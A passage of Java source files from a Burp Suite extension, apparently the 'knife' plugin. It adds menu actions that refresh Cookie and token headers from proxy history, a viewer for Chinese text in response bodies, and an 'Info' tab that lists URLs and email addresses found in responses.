| public SetCookie_Action(BurpExtender burp,IContextMenuInvocation invocation) { 37 | this.burp = burp; 38 | this.invocation = invocation; 39 | this.helpers = burp.helpers; 40 | this.callbacks = BurpExtender.callbacks; 41 | this.stderr = BurpExtender.stderr; 42 | this.stdout = BurpExtender.stdout; 43 | } 44 | 45 | @Override 46 | public void actionPerformed(ActionEvent event) { 47 | try{ 48 | //stdout.println("SetCookie_Action called"); 49 | String cookieEntry = CookieFinder.getLatestCookieFromUserInput(); 50 | 51 | if (cookieEntry != null) {//当没有找到相应的cookie时为null 52 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 53 | if (invocation.getInvocationContext() == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST) { 54 | ProcessManager.updateCookie(true,messages[0], cookieEntry); 55 | } 56 | 57 | ProcessManager.addHandleRule(messages,cookieEntry); 58 | ProcessManager.setUsedCookieOfUpdate(cookieEntry); 59 | }else { 60 | stderr.println("No cookie found with your input"); 61 | } 62 | } 63 | catch (Exception e1) 64 | { 65 | e1.printStackTrace(stderr); 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/knife/SetCookieWithHistoryMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | 7 | import javax.swing.JMenuItem; 8 | 9 | import burp.BurpExtender; 10 | import burp.IBurpExtenderCallbacks; 11 | import burp.IContextMenuInvocation; 12 | import burp.IExtensionHelpers; 13 | import burp.IHttpRequestResponse; 14 | import config.ProcessManager; 15 | 16 | public class SetCookieWithHistoryMenu extends JMenuItem { 17 | //JMenuItem vs. JMenu 18 | 19 | private static final long serialVersionUID = 1L; 20 | 21 | public SetCookieWithHistoryMenu(BurpExtender burp){ 22 | try { 23 | String cookieToSetHistory = ProcessManager.getUsedCookieOfUpdate(); 24 | if (cookieToSetHistory != null) { 25 | this.setText(String.format("^_^ Set Cookie (%s)", ProcessManager.fetchUsedCookieAsTips())); 26 | this.addActionListener(new SetCookieWithHistory_Action(burp,burp.invocation)); 27 | } 28 | } catch (Exception e) { 29 | e.printStackTrace(BurpExtender.getStderr()); 30 | } 31 | 32 | } 33 | } 34 | 35 | class SetCookieWithHistory_Action implements ActionListener{ 36 | private IContextMenuInvocation invocation; 37 | public IExtensionHelpers helpers; 38 | public PrintWriter stdout; 39 | public PrintWriter stderr; 40 | public IBurpExtenderCallbacks callbacks; 41 | public BurpExtender burp; 42 | 43 | public SetCookieWithHistory_Action(BurpExtender burp,IContextMenuInvocation invocation) { 44 | this.burp = burp; 45 | this.invocation = invocation; 46 | this.helpers = burp.helpers; 47 | this.callbacks = BurpExtender.callbacks; 48 | this.stderr = burp.stderr; 49 | this.stdout = burp.stdout; 50 | } 51 | 52 | @Override 53 | public void actionPerformed(ActionEvent event) { 54 | 55 | String cookieToSetHistory = ProcessManager.getUsedCookieOfUpdate(); 56 | if (cookieToSetHistory != null) { 57 | try { 58 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 59 | ProcessManager.addHandleRule(messages,cookieToSetHistory); 60 | } catch (Exception e1) { 61 | e1.printStackTrace(stderr); 62 | } 63 | } 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /src/knife/UpdateCookieMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | 7 | import javax.swing.JMenuItem; 8 | 9 | import com.bit4woo.utilbox.burp.HelperPlus; 10 | 11 | import burp.*; 12 | import config.CookieFinder; 13 | import config.CookieRecorder; 14 | import config.ProcessManager; 15 | 16 | public class UpdateCookieMenu extends JMenuItem { 17 | //JMenuItem vs. JMenu 18 | public UpdateCookieMenu(BurpExtender burp){ 19 | if (burp.invocation.getInvocationContext() == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST 20 | || burp.invocation.getInvocationContext() == IContextMenuInvocation.CONTEXT_INTRUDER_PAYLOAD_POSITIONS) { 21 | this.setText("^_^ Update Cookie"); 22 | this.addActionListener(new UpdateCookieAction(burp,burp.invocation)); 23 | } 24 | } 25 | } 26 | 27 | class UpdateCookieAction implements ActionListener { 28 | private IContextMenuInvocation invocation; 29 | public IExtensionHelpers helpers; 30 | public PrintWriter stdout; 31 | public PrintWriter stderr; 32 | public IBurpExtenderCallbacks callbacks; 33 | public BurpExtender burp; 34 | 35 | public UpdateCookieAction(BurpExtender burp, IContextMenuInvocation invocation) { 36 | this.burp = burp; 37 | this.invocation = invocation; 38 | this.helpers = burp.helpers; 39 | this.callbacks = burp.callbacks; 40 | this.stderr = burp.stderr; 41 | this.stdout = burp.stdout; 42 | } 43 | 44 | @Override 45 | public void actionPerformed(ActionEvent event) { 46 | try { 47 | //stdout.println("UpdateCookieAction called"); 48 | IHttpRequestResponse[] selectedItems = invocation.getSelectedMessages(); 49 | 50 | CookieRecorder recorder = CookieFinder.getLatestCookieFromHistory(selectedItems[0]);//自行查找一次 51 | 52 | if (recorder.isAllBlank()) { 53 | recorder = CookieFinder.getLatestHeaderFromSiteMap(selectedItems[0]);//自行查找一次 54 | } 55 | 56 | //通过弹窗交互 获取Cookie的方式很不简便,不再使用! 57 | String latestCookie = recorder.getValue(); 58 | if (isVaildCookie(latestCookie)) { 59 | try{ 60 | selectedItems[0] = ProcessManager.updateCookie(true,selectedItems[0], latestCookie); 61 | ProcessManager.setUsedCookieOfUpdate(latestCookie); 62 | }catch (Exception e){ 63 | e.printStackTrace(stderr); 64 | //stderr.print(e.getMessage()); 65 | //这是个bug,请求包实际还是被修改了,但是就是报这个错误! 66 | //当在proxy中拦截状态下更新请求包的时候,总是会报这个假错误! 67 | //"java.lang.UnsupportedOperationException: Request has already been issued" 68 | } 69 | } 70 | }catch (Exception e1){ 71 | e1.printStackTrace(stderr); 72 | } 73 | } 74 | 75 | public boolean isVaildCookie(String cookieLine) { 76 | if (cookieLine == null) { 77 | return false; 78 | } 79 | String currentCookie = new HelperPlus(helpers).getHeaderLine(true,invocation.getSelectedMessages()[0],"Cookie"); 80 | if (cookieLine.equalsIgnoreCase(currentCookie)) { 81 | return false; 82 | } 83 | return true; 84 | } 85 | } -------------------------------------------------------------------------------- /src/knife/UpdateCookieWithHistoryMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | 7 | import javax.swing.JMenuItem; 8 | 9 | import burp.BurpExtender; 10 | import burp.IBurpExtenderCallbacks; 11 | import burp.IContextMenuInvocation; 12 | import burp.IExtensionHelpers; 13 | import burp.IHttpRequestResponse; 14 | import config.ProcessManager; 15 | 16 | public class UpdateCookieWithHistoryMenu extends JMenuItem { 17 | //JMenuItem vs. JMenu 18 | public UpdateCookieWithHistoryMenu(BurpExtender burp){ 19 | 20 | try { 21 | if (burp.invocation.getInvocationContext() == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST 22 | || burp.invocation.getInvocationContext() == IContextMenuInvocation.CONTEXT_INTRUDER_PAYLOAD_POSITIONS) { 23 | String usedCookie = ProcessManager.getUsedCookieOfUpdate(); 24 | if (usedCookie != null) { 25 | this.setText("^_^ Update Cookie ("+ ProcessManager.fetchUsedCookieAsTips()+")"); 26 | this.addActionListener(new UpdateCookieWithHistory_Action(burp,burp.invocation,usedCookie)); 27 | } 28 | } 29 | } catch (Exception e) { 30 | e.printStackTrace(BurpExtender.getStderr()); 31 | } 32 | } 33 | } 34 | 35 | class UpdateCookieWithHistory_Action implements ActionListener{ 36 | private IContextMenuInvocation invocation; 37 | public IExtensionHelpers helpers; 38 | public PrintWriter stdout; 39 | public PrintWriter stderr; 40 | public IBurpExtenderCallbacks callbacks; 41 | public BurpExtender burp; 42 | private String cookie; 43 | 44 | public UpdateCookieWithHistory_Action(BurpExtender burp,IContextMenuInvocation invocation,String cookie) { 45 | this.burp = burp; 46 | this.invocation = invocation; 47 | this.helpers = burp.helpers; 48 | this.callbacks = burp.callbacks; 49 | this.stderr = burp.stderr; 50 | this.stdout = burp.stdout; 51 | this.cookie = cookie; 52 | } 53 | 54 | @Override 55 | public void actionPerformed(ActionEvent event) { 56 | 57 | IHttpRequestResponse[] selectedItems = invocation.getSelectedMessages(); 58 | byte selectedInvocationContext = invocation.getInvocationContext(); 59 | 60 | String cookieValue = this.cookie; 61 | if (cookieValue !=null) { 62 | if(selectedInvocationContext == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST) { 63 | ProcessManager.updateCookie(true,selectedItems[0],cookieValue); 64 | } 65 | } 66 | } 67 | } -------------------------------------------------------------------------------- /src/knife/UpdateHeaderMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | import java.util.ArrayList; 7 | import java.util.Arrays; 8 | import java.util.Iterator; 9 | import java.util.LinkedHashMap; 10 | import java.util.List; 11 | 12 | import javax.swing.JMenu; 13 | import javax.swing.JMenuItem; 14 | 15 | import com.bit4woo.utilbox.burp.HelperPlus; 16 | 17 | import burp.BurpExtender; 18 | import burp.IBurpExtenderCallbacks; 19 | import burp.IContextMenuInvocation; 20 | import burp.IExtensionHelpers; 21 | import burp.IHttpRequestResponse; 22 | import config.CookieFinder; 23 | import config.GUI; 24 | import config.ProcessManager; 25 | 26 | 27 | public class UpdateHeaderMenu extends JMenu { 28 | //JMenuItem vs. JMenu 29 | //JMenu 可以有子菜单,即使具体实现为空,也会显示 30 | //JMenuItem 不可以有子菜单,当实现为空的时候,是不会显示的 31 | public BurpExtender burp; 32 | public IContextMenuInvocation invocation; 33 | public UpdateHeaderMenu(BurpExtender burp){ 34 | 35 | try { 36 | this.invocation = burp.invocation; 37 | this.burp = burp; 38 | 39 | if (invocation.getInvocationContext() == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST) { 40 | 41 | List pHeaders = possibleHeaderNames(invocation);//HeaderNames without case change 42 | /*menu_list.add(uhmenu);*/ 43 | if(!pHeaders.isEmpty()) { 44 | this.setText("^_^ Update Header"); 45 | for (String pheader:pHeaders) { 46 | JMenuItem headerItem = new JMenuItem(pheader); 47 | headerItem.addActionListener(new UpdateHeader_Action(burp,invocation,pheader)); 48 | this.add(headerItem); 49 | } 50 | } 51 | } 52 | } catch (Exception e) { 53 | e.printStackTrace(BurpExtender.getStderr()); 54 | } 55 | } 56 | 57 | public List possibleHeaderNames(IContextMenuInvocation invocation) { 58 | IHttpRequestResponse[] selectedItems = invocation.getSelectedMessages(); 59 | //byte selectedInvocationContext = invocation.getInvocationContext(); 60 | HelperPlus getter = new HelperPlus(BurpExtender.callbacks.getHelpers()); 61 | List headers = getter.getHeaderList(true, selectedItems[0]); 62 | 63 | String tokenHeadersStr = GUI.getConfigTableModel().getConfigValueByKey("tokenHeaders"); 64 | 65 | List ResultHeaders = new ArrayList(); 66 | 67 | if (tokenHeadersStr!= null && headers != null) { 68 | String[] tokenHeaders = tokenHeadersStr.split(","); 69 | List keywords = Arrays.asList(tokenHeaders); 70 | for (String header:headers) { 71 | try { 72 | String headerKey = header.split(":",2)[0].trim(); 73 | if (containOneOfKeywords(headerKey,keywords,false)) { 74 | ResultHeaders.add(headerKey); 75 | } 76 | } catch (Exception e) { 77 | e.printStackTrace(); 78 | } 79 | } 80 | } 81 | 82 | return ResultHeaders; 83 | } 84 | 85 | public boolean containOneOfKeywords(String x,List keywords,boolean isCaseSensitive) { 86 | for (String keyword:keywords) { 87 | if (!isCaseSensitive) { 88 | x = x.toLowerCase(); 89 | keyword = keyword.toLowerCase(); 90 | } 91 | if (x.contains(keyword)){ 92 | return true; 93 | } 94 | } 95 | return false; 96 | } 97 | } 98 | 99 | class UpdateHeader_Action implements ActionListener{ 100 | private final IContextMenuInvocation invocation; 101 | public IExtensionHelpers helpers; 102 | public PrintWriter stdout; 103 | public PrintWriter stderr; 104 | public IBurpExtenderCallbacks callbacks; 105 | 106 | private final String headerName; 107 | 108 | public UpdateHeader_Action(BurpExtender burp,IContextMenuInvocation invocation,String headerName) { 109 | this.invocation = invocation; 110 | this.helpers = burp.helpers; 111 | this.callbacks = BurpExtender.callbacks; 112 | this.stderr = BurpExtender.stderr; 113 | this.stdout = BurpExtender.stdout; 114 | this.headerName = headerName; 115 | } 116 | 117 | @Override 118 | public void actionPerformed(ActionEvent event) { 119 | if (invocation.getInvocationContext() == IContextMenuInvocation.CONTEXT_MESSAGE_EDITOR_REQUEST) { 120 | IHttpRequestResponse[] selectedItems = invocation.getSelectedMessages(); 121 | String headerLine = CookieFinder.getLatestHeaderFromHistory(selectedItems[0], headerName).getValue(); 122 | 123 | if (headerLine != null) { 124 | ProcessManager.updateHeader(true,selectedItems[0],headerLine); 125 | } 126 | } 127 | } 128 | 129 | } 130 | -------------------------------------------------------------------------------- /src/knife/ViewChineseMenu.java: -------------------------------------------------------------------------------- 1 | package knife; 2 | 3 | import java.awt.EventQueue; 4 | import java.awt.event.ActionEvent; 5 | import java.awt.event.ActionListener; 6 | import java.io.PrintWriter; 7 | 8 | import javax.swing.JMenuItem; 9 | 10 | import com.bit4woo.utilbox.burp.HelperPlus; 11 | 12 | import burp.BurpExtender; 13 | import burp.IBurpExtenderCallbacks; 14 | import burp.IContextMenuInvocation; 15 | import burp.IExtensionHelpers; 16 | import burp.IHttpRequestResponse; 17 | 18 | 19 | public class ViewChineseMenu extends JMenuItem { 20 | private static final long serialVersionUID = 1L; 21 | 22 | //JMenuItem vs. JMenu 23 | public ViewChineseMenu(BurpExtender burp){ 24 | this.setText("^_^ View Chinese"); 25 | this.addActionListener(new View_Action(burp,burp.invocation)); 26 | } 27 | } 28 | 29 | class View_Action implements ActionListener{ 30 | private IContextMenuInvocation invocation; 31 | public IExtensionHelpers helpers; 32 | public PrintWriter stdout; 33 | public PrintWriter stderr; 34 | public IBurpExtenderCallbacks callbacks; 35 | public BurpExtender burp; 36 | 37 | public View_Action(BurpExtender burp,IContextMenuInvocation invocation) { 38 | this.burp = burp; 39 | this.invocation = invocation; 40 | this.helpers = burp.helpers; 41 | this.callbacks = BurpExtender.callbacks; 42 | this.stderr = BurpExtender.stderr; 43 | this.stdout = BurpExtender.stdout; 44 | } 45 | 46 | @Override 47 | public void actionPerformed(ActionEvent event) { 48 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 49 | HelperPlus getter = new HelperPlus(helpers); 50 | if (messages == null) { 51 | return; 52 | } 53 | if (messages.length == 1) { 54 | byte[] respBody = getter.getBody(false, messages[0]); 55 | 56 | EventQueue.invokeLater(new Runnable() { 57 | public void run() { 58 | try { 59 | ChineseGUI GUI = new ChineseGUI(respBody); 60 | GUI.setVisible(true); 61 | } catch (Exception e) { 62 | e.printStackTrace(); 63 | } 64 | } 65 | }); 66 | } 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/messageTab/Info/InfoEntry.java: -------------------------------------------------------------------------------- 1 | package messageTab.Info; 2 | 3 | import com.google.gson.Gson; 4 | 5 | public class InfoEntry { 6 | 7 | private String value = ""; 8 | private String type = ""; 9 | private boolean enable = true; 10 | private boolean editable = true;//whether you can edit name and type 11 | private String comment = ""; 12 | 13 | public static final String Type_URL ="Type_URL"; 14 | public static final String Type_Email ="Type_Email"; 15 | 16 | public InfoEntry() { 17 | //to resolve "default constructor not found" error 18 | } 19 | 20 | public InfoEntry(String value, String type) { 21 | this.value = value; 22 | this.type = type; 23 | this.enable = true; 24 | } 25 | 26 | public InfoEntry(String value, String type, boolean enable) { 27 | this.value = value; 28 | this.type = type; 29 | this.enable = enable; 30 | } 31 | 32 | public InfoEntry(String value, String type, boolean enable, boolean editable) { 33 | this.value = value; 34 | this.type = type; 35 | this.enable = enable; 36 | this.editable = editable; 37 | } 38 | 39 | public InfoEntry(String value, String type, boolean enable, boolean editable, String comment) { 40 | this.value = value; 41 | this.type = type; 42 | this.enable = enable; 43 | this.editable = editable; 44 | this.comment = comment; 45 | } 46 | 47 | 48 | 49 | public String getValue() { 50 | return value; 51 | } 52 | 53 | public void setValue(String value) { 54 | this.value = value; 55 | } 56 | 57 | public String getType() { 58 | return type; 59 | } 60 | 61 | public void setType(String type) { 62 | this.type = type; 63 | } 64 | 65 | public boolean isEnable() { 66 | return enable; 67 | } 68 | 69 | public void setEnable(boolean enable) { 70 | this.enable = enable; 71 | } 72 | 73 | public boolean isEditable() { 74 | return editable; 75 | } 76 | 77 | public void setEditable(boolean editable) { 78 | this.editable = editable; 79 | } 80 | 81 | public String getComment() { 82 | return comment; 83 | } 84 | 85 | public void setComment(String comment) { 86 | this.comment = comment; 87 | } 88 | 89 | public String ToJson() {//注意函数名称,如果是get set开头,会被认为是Getter和Setter函数,会在序列化过程中被调用。 90 | return new Gson().toJson(this); 91 | } 92 | 93 | public InfoEntry FromJson(String json) {//注意函数名称,如果是get set开头,会被认为是Getter和Setter函数,会在序列化过程中被调用。 94 | return new Gson().fromJson(json, InfoEntry.class); 95 | } 96 | 97 | } 98 | -------------------------------------------------------------------------------- /src/messageTab/Info/InfoGrepper.java: -------------------------------------------------------------------------------- 1 | package messageTab.Info; 2 | 3 | import com.bit4woo.utilbox.burp.HelperPlus; 4 | 5 | import burp.BurpExtender; 6 | 7 | public class InfoGrepper { 8 | 9 | public InfoGrepper(byte[] content, boolean isRequest) { 10 | HelperPlus getter = new HelperPlus(BurpExtender.getCallbacks().getHelpers()); 11 | 12 | byte[] body = HelperPlus.getBody(isRequest, content); 13 | 14 | if (body!= null) { 15 | String bodyStr = new String(body); 16 | 17 | } 18 | 19 | } 20 | 21 | 22 | public InfoGrepper(String content, boolean isRequest) { 23 | 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /src/messageTab/Info/InfoPanel.java: -------------------------------------------------------------------------------- 1 | package messageTab.Info; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.FlowLayout; 5 | import java.awt.event.ActionEvent; 6 | import java.awt.event.ActionListener; 7 | 8 | import javax.swing.JButton; 9 | import javax.swing.JFrame; 10 | import javax.swing.JLabel; 11 | import javax.swing.JPanel; 12 | import javax.swing.JScrollPane; 13 | import javax.swing.JTextField; 14 | import javax.swing.SwingUtilities; 15 | import javax.swing.Timer; 16 | import javax.swing.border.EmptyBorder; 17 | import javax.swing.event.DocumentEvent; 18 | import javax.swing.event.DocumentListener; 19 | 20 | public class InfoPanel extends JPanel { 21 | 22 | private final JTextField searchField; 23 | private final JLabel statusLabel = new JLabel(" 0 matches"); 24 | boolean isRequest; 25 | 26 | public static JPanel headPanel; 27 | public InfoTable table; 28 | private InfoTab InfoTab; 29 | 30 | 31 | 32 | public static JPanel getHeadPanel() { 33 | return headPanel; 34 | } 35 | 36 | 37 | public static void setHeadPanel(JPanel headPanel) { 38 | InfoPanel.headPanel = headPanel; 39 | } 40 | 41 | 42 | public InfoTab getInfoTab() { 43 | return InfoTab; 44 | } 45 | 46 | 47 | public void setInfoTab(InfoTab infoTab) { 48 | InfoTab = infoTab; 49 | } 50 | 51 | 52 | public InfoTable getTable() { 53 | return table; 54 | } 55 | 56 | 57 | public void setTable(InfoTable table) { 58 | this.table = table; 59 | } 60 | 61 | 62 | InfoPanel(InfoTab parent) { 63 | this.InfoTab = parent; 64 | setBorder(new EmptyBorder(5, 5, 5, 5)); 65 | setLayout(new BorderLayout(0, 0)); 66 | 67 | headPanel = new InfoPanelHeadPanel(); 68 | add(headPanel, BorderLayout.NORTH); 69 | 70 | InfoTableModel model = new InfoTableModel(); 71 | table = new InfoTable(model,this); 72 | 73 | JScrollPane scrollPane = new JScrollPane(); 74 | scrollPane.setViewportView(table); 75 | add(scrollPane, BorderLayout.CENTER); 76 | 77 | 78 | JPanel footPanel = new JPanel(new BorderLayout()); 79 | searchField = new JTextField(); 80 | Timer searchTimer = createSearchTimer(); 81 | searchField.getDocument().addDocumentListener(new DocumentListener() { 82 | @Override 83 | public void insertUpdate(DocumentEvent e) { 84 | searchTimer.restart(); 85 | } 86 | 87 | @Override 88 | public void removeUpdate(DocumentEvent e) { 89 | searchTimer.restart(); 90 | } 91 | 92 | @Override 93 | public void changedUpdate(DocumentEvent e) { 94 | searchTimer.restart(); 95 | } 96 | }); 97 | 98 | JButton leftButton = new JButton("<"); 99 | leftButton.addActionListener(new ActionListener() { 100 | @Override 101 | public void actionPerformed(ActionEvent e) { 102 | } 103 | }); 104 | JButton rightButton = new JButton(">"); 105 | rightButton.addActionListener(new ActionListener() { 106 | @Override 107 | public void actionPerformed(ActionEvent e) { 108 | } 109 | }); 110 | JPanel panelA = new JPanel(); 111 | panelA.add(leftButton); 112 | panelA.add(rightButton); 113 | 114 | footPanel.add(panelA, BorderLayout.WEST); 115 | footPanel.add(searchField, BorderLayout.CENTER); 116 | 117 | footPanel.add(statusLabel, BorderLayout.EAST); 118 | 119 | add(footPanel, BorderLayout.SOUTH); 120 | } 121 | 122 | 123 | private Timer createSearchTimer() { 124 | Timer searchTimer = new Timer(1000, new ActionListener() { 125 | @Override 126 | public void actionPerformed(ActionEvent e) { 127 | // 执行搜索操作 128 | String searchTerm = searchField.getText(); 129 | //search(searchTerm, false, false); 130 | } 131 | }); 132 | searchTimer.setRepeats(false); // 设置计时器只执行一次 133 | return searchTimer; 134 | } 135 | /* 136 | private void search(String searchTerm, boolean isRegex, boolean isCaseSensitive) { 137 | if (searchTerm.isEmpty()) { 138 | return; 139 | } 140 | 141 | int flags = 0; 142 | if (!isCaseSensitive) { 143 | flags |= Pattern.CASE_INSENSITIVE; 144 | } 145 | 146 | Pattern pattern; 147 | if (isRegex) { 148 | pattern = Pattern.compile(searchTerm, flags); 149 | Matcher matcher = pattern.matcher(text); 150 | while (matcher.find()) { 151 | int start = matcher.start(); 152 | int end = matcher.end(); 153 | try { 154 | highlighter.addHighlight(start, end, new DefaultHighlighter.DefaultHighlightPainter(Color.YELLOW)); 155 | } catch (BadLocationException ex) { 156 | ex.printStackTrace(); 157 | } 158 | } 159 | } else { 160 | int index = text.indexOf(searchTerm); 161 | while (index != -1) { 162 | try { 163 | textArea.getHighlighter().addHighlight(index, index + searchTerm.length(), new DefaultHighlighter.DefaultHighlightPainter(Color.YELLOW)); 164 | index = text.indexOf(searchTerm, index + searchTerm.length()); // 继续搜索下一个匹配项 165 | } catch (BadLocationException ex) { 166 | ex.printStackTrace(); 167 | } 168 | } 169 | } 170 | int num = textArea.getHighlighter().getHighlights().length; 171 | statusLabel.setText(" " + num + " matches"); 172 | }*/ 173 | 174 | 175 | 176 | public static void main(String[] args) { 177 | SwingUtilities.invokeLater(new Runnable() { 178 | @Override 179 | public void run() { 180 | JFrame jf = new JFrame(); 181 | InfoPanel panel = new InfoPanel(null); 182 | jf.setContentPane(panel); 183 | jf.setVisible(true); 184 | jf.pack(); 185 | } 186 | }); 187 | } 188 | } 189 | -------------------------------------------------------------------------------- /src/messageTab/Info/InfoPanelHeadPanel.java: -------------------------------------------------------------------------------- 1 | package messageTab.Info; 2 | 3 | import java.awt.FlowLayout; 4 | 5 | import javax.swing.JLabel; 6 | import javax.swing.JPanel; 7 | 8 | public class InfoPanelHeadPanel extends JPanel { 9 | 10 | JLabel baseUrllabelKey = new JLabel("Base URL: "); 11 | JLabel baseUrllabelValue = new JLabel(""); 12 | 13 | public InfoPanelHeadPanel(){ 14 | this.setLayout(new FlowLayout(FlowLayout.CENTER)); 15 | this.add(baseUrllabelKey); 16 | this.add(baseUrllabelValue); 17 | 18 | } 19 | 20 | public void setBaseUrl(String url) { 21 | if (url!=null) { 22 | baseUrllabelValue.setText(url); 23 | } 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /src/messageTab/Info/InfoTab.java: -------------------------------------------------------------------------------- 1 | package messageTab.Info; 2 | 3 | import java.awt.Component; 4 | import java.util.List; 5 | 6 | import javax.swing.JPanel; 7 | import javax.swing.SwingWorker; 8 | 9 | import org.apache.commons.lang3.StringUtils; 10 | 11 | import com.bit4woo.utilbox.utils.ByteArrayUtils; 12 | import com.bit4woo.utilbox.utils.EmailUtils; 13 | import com.bit4woo.utilbox.utils.TextUtils; 14 | 15 | import base.FindUrlAction; 16 | import burp.BurpExtender; 17 | import burp.IBurpExtenderCallbacks; 18 | import burp.IExtensionHelpers; 19 | import burp.IMessageEditorController; 20 | import burp.IMessageEditorTab; 21 | 22 | /** 23 | * @author bit4woo 24 | * @github https://github.com/bit4woo 25 | */ 26 | public class InfoTab implements IMessageEditorTab { 27 | private JPanel panel; 28 | private byte[] originContent; 29 | public IMessageEditorController controller; 30 | 31 | int triggerTime = 1; 32 | boolean debug = false; 33 | 34 | public byte[] getOriginContent() { 35 | return originContent; 36 | } 37 | 38 | public void setOriginContent(byte[] originContent) { 39 | this.originContent = originContent; 40 | } 41 | 42 | 43 | public IMessageEditorController getController() { 44 | return controller; 45 | } 46 | 47 | public void setController(IMessageEditorController controller) { 48 | this.controller = controller; 49 | } 50 | 51 | public InfoTab(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks) { 52 | this.controller = controller; 53 | panel = new InfoPanel(this); 54 | BurpExtender.getCallbacks().customizeUiComponent(panel);//尝试使用burp的font size 55 | } 56 | 57 | @Override 58 | public String getTabCaption() { 59 | return "Info"; 60 | } 61 | 62 | @Override 63 | public Component getUiComponent() { 64 | return panel; 65 | } 66 | 67 | @Override 68 | public boolean isEnabled(byte[] content, boolean isRequest) { 69 | if (isRequest) { 70 | return false; 71 | } 72 | String contentType = BurpExtender.getHelperPlus().getHeaderValueOf(isRequest, content, "Content-Type"); 73 | if (StringUtils.isEmpty(contentType)) { 74 | return true; 75 | } 76 | if (contentType.contains("image/")) { 77 | return false; 78 | } else if (contentType.contains("text/css")) { 79 | return false; 80 | } else if (contentType.contains("font/")) { 81 | return false; 82 | } else if (contentType.contains("x-protobuf")) { 83 | return false; 84 | } 85 | 86 | return true; 87 | } 88 | 89 | /** 90 | * 每次切换到这个tab,都会调用这个函数。应考虑避免重复劳动,根据originContent是否变化来判断。 91 | * 测试发现: 92 | * 当在proxy页面点击一个数据包进行数据包切换时,触发infoTab处理逻辑,同一个数据包这个函数会被触发2次! 93 | *

94 | * 不是请求、响应各调用一次;而是响应包被调用两次,请求包被调用两次。而且this是同一个对象。 95 | *

96 | * 第一次触发,content内容不是当前数据包(点击选择的数据包)的,而是上一个数据包的。 97 | * 第二次触发,content才是当前数据包的内容,也就是点击选择的数据包的内容。 98 | * 造成一个结果就是,切换到新的数据包后,上一个数据包中提取到的内容会在当前数据包中显示。 99 | */ 100 | @Override 101 | public void setMessage(byte[] content, boolean isRequest) { 102 | if (isRequest) { 103 | return; 104 | } 105 | 106 | //boolean debug = true; 107 | if (debug) { 108 | System.out.println("\n\n##################"); 109 | System.out.println("triggerTime:" + triggerTime++); 110 | System.out.println(controller.getHttpService()); 111 | System.out.println("content from controller:\n" + new String(controller.getResponse())); 112 | System.out.println("content from parameter:\n" + new String(content));//切换数据包时,第一次的触发会发现这个内容是上一个数据包的。 113 | System.out.println("equal:\n" + ByteArrayUtils.equals(controller.getResponse(), content)); 114 | System.out.println(this); 115 | System.out.println(((InfoPanel) panel).getTable().getInfoTableModel()); 116 | System.out.println("##################"); 117 | } 118 | 119 | content = controller.getResponse(); 120 | //从controller中获取真实的数据包,避免上面提到的,content是上一个数据包的问题。 121 | if (content == null || content.length == 0) { 122 | return; 123 | } else if (ByteArrayUtils.equals(originContent, content)) { 124 | return; 125 | } else { 126 | originContent = content; 127 | SwingWorker worker = new SwingWorker() { 128 | @Override 129 | protected Void doInBackground() throws Exception { 130 | ((InfoPanel) panel).getTable().getInfoTableModel().clear(); 131 | List urls = FindUrlAction.findUrls(originContent); 132 | 133 | //清除JS\scss\vue等非接口URL 134 | urls = FindUrlAction.removeJsUrl(urls); 135 | for (String url : urls) { 136 | InfoEntry aaa = new InfoEntry(url, InfoEntry.Type_URL); 137 | ((InfoPanel) panel).getTable().getInfoTableModel().addNewInfoEntry(aaa); 138 | } 139 | 140 | List emails = EmailUtils.grepEmail(new String(originContent)); 141 | emails = TextUtils.deduplicate(emails); 142 | for (String email : emails) { 143 | InfoEntry aaa = new InfoEntry(email, InfoEntry.Type_Email); 144 | ((InfoPanel) panel).getTable().getInfoTableModel().addNewInfoEntry(aaa); 145 | } 146 | 147 | if (((InfoPanel) panel).getTable().getInfoTableModel().getRowCount()==0) { 148 | InfoEntry aaa = new InfoEntry("No Info To Display", InfoEntry.Type_URL); 149 | ((InfoPanel) panel).getTable().getInfoTableModel().addNewInfoEntry(aaa); 150 | } 151 | 152 | return null; 153 | } 154 | }; 155 | worker.execute(); 156 | } 157 | } 158 | 159 | 160 | @Override 161 | public byte[] getMessage() { 162 | return originContent; 163 | } 164 | 165 | @Override 166 | public boolean isModified() { 167 | return false; 168 | } 169 | 170 | /** 171 | * ctrl+c复制数据逻辑会调用这个函数 172 | */ 173 | @Override 174 | public byte[] getSelectedData() { 175 | InfoTable table = (InfoTable) ((InfoPanel) panel).getTable(); 176 | String content = table.getSelectedContent(); 177 | return content.getBytes(); 178 | } 179 | 180 | 181 | public static void main(String[] args) { 182 | } 183 | } -------------------------------------------------------------------------------- /src/messageTab/Info/InfoTabFactory.java: -------------------------------------------------------------------------------- 1 | package messageTab.Info; 2 | 3 | import burp.IBurpExtenderCallbacks; 4 | import burp.IExtensionHelpers; 5 | import burp.IMessageEditorController; 6 | import burp.IMessageEditorTab; 7 | import burp.IMessageEditorTabFactory; 8 | 9 | /** 10 | * 工厂类,构造一个个的Tab实例 11 | * @author bit4woo 12 | * @github https://github.com/bit4woo 13 | * 